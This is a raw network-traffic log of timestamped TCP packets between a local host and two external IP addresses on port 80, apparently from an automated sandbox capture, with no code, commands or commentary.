Dec 27, 2024 15:04:21.481156111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.482053041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.482064009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.482091904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.482753992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.482866049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.482899904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.484013081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.484116077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.484152079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.484600067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.484663963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.484702110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.485492945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.485625029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.485690117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.486407995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.486424923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.486459970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.487250090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.487302065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.487337112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.488073111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.488213062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.488245964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.489161968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.489243984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.489274025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.490072966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.490083933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.490123034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.490919113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.491039038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.491074085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.491801977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.491885900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.491924047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.492619038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.492630005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.492659092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.493385077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.528829098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.528842926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.528872013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.577676058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.612118959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.648462057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.648514032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.648559093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.697218895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.697268009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.768177032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.768192053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.768244982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.816880941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.816942930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.816988945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.817229986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.817385912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.817420959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.818295002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.818340063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.818377972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.819026947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.819123983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.819299936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.819942951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.820031881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.820112944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.820776939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.820966959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.821021080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.821691036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.821844101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.821885109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.822568893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.822711945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.822751999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.823571920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.823591948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.823636055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.824420929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.824551105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.824592113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.825280905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.825329065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.825367928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.826105118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.826204062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.826252937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.827069998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.827260971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.827306032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.827964067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.827976942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.828028917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.828743935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.828985929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.829029083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.829611063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.829737902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.829778910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.830537081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.830715895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.830758095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.831475973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.831516981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.831567049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.832261086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.832386017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.832426071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.833210945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.833282948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.833321095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.834063053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.834237099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.834285021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.834952116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.835047007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.835088015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.835791111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.835999966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.836045980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.836684942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.836791992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.836837053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.837577105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.837780952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.837842941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.838484049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.838577032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.838625908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.839353085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.839433908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.839479923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.840311050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.840322971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.840363026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.841167927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.841193914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.841238022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.842195988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.842216015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.842251062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.842915058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.843065023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.843116045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.843790054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.843935013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.843976021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.844535112 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 15:04:21.844650030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.844825983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.844870090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.845552921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.845644951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.845694065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.846415043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.846528053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.846566916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.847359896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.847501040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.847546101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.848167896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.848273993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.848315954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.849047899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.849153996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.849194050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.849864006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.852998972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.853039980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.853097916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.853421926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.853471041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.853566885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.854377031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.854391098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.854420900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.855298042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.855310917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.855340004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.856086016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.856147051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.856172085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.856952906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.857002974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.857039928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.857826948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.857868910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.857892036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.858711958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.858753920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.858836889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.859702110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.859715939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.859735966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.860481024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.860518932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.860661030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.861356020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.861392975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.861450911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.861794949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.862235069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.862272024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.862341881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.863148928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.863183975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.863215923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.864026070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.864058971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.864084005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.864878893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.864913940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.865045071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.865782022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.865813971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.865869045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.897176027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.897238016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.897344112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.897577047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.897623062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.916374922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.931822062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.943252087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.943268061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.943322897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.943363905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.944041967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.944082022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.944328070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.944339991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.944370985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.947356939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.961883068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.964078903 CET	80	49745	185.215.113.206	192.168.2.4
Dec 27, 2024 15:04:21.964165926 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 15:04:21.964436054 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 15:04:21.977559090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.977699995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.977756023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.978128910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.978142977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.978183985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.978907108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.979007959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.979060888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.979902029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.980010033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.980047941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.980808973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.980905056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.980952024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.981554985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.981628895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.981684923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.982439041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.982450962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.982496023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.983328104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.983365059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.983411074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.984159946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.984209061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.984256983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.985017061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.985200882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.985249996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.985887051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.985991001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.986035109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.986763000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.986849070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.986891031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.987623930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.987735987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.987781048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.988526106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.988615990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.988656998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.989398003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.989501953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.989541054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.990298986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.990382910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.990418911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.990559101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:21.991163969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.991247892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:21.991286993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.026597023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.029237986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.029340982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.029391050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.067579031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.067672968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.067712069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.067939997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.068064928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.068109035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.068738937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.083975077 CET	80	49745	185.215.113.206	192.168.2.4
Dec 27, 2024 15:04:22.101902962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.101974010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.101989985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.102161884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.102231026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.102243900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.102880001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.102925062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.103013039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.103543043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.103554010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.103584051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.104336023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.104378939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.104427099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.105150938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.105196953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.105268002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.105923891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.105972052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.106026888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.106767893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.106812954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.106861115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.107546091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.107594013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.107861042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.108360052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.108402967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.108458042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.109219074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.109288931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.109307051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.110016108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:22.110063076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:22.110135078 CET	80	49743	185.215.113.16	192.168.2.4
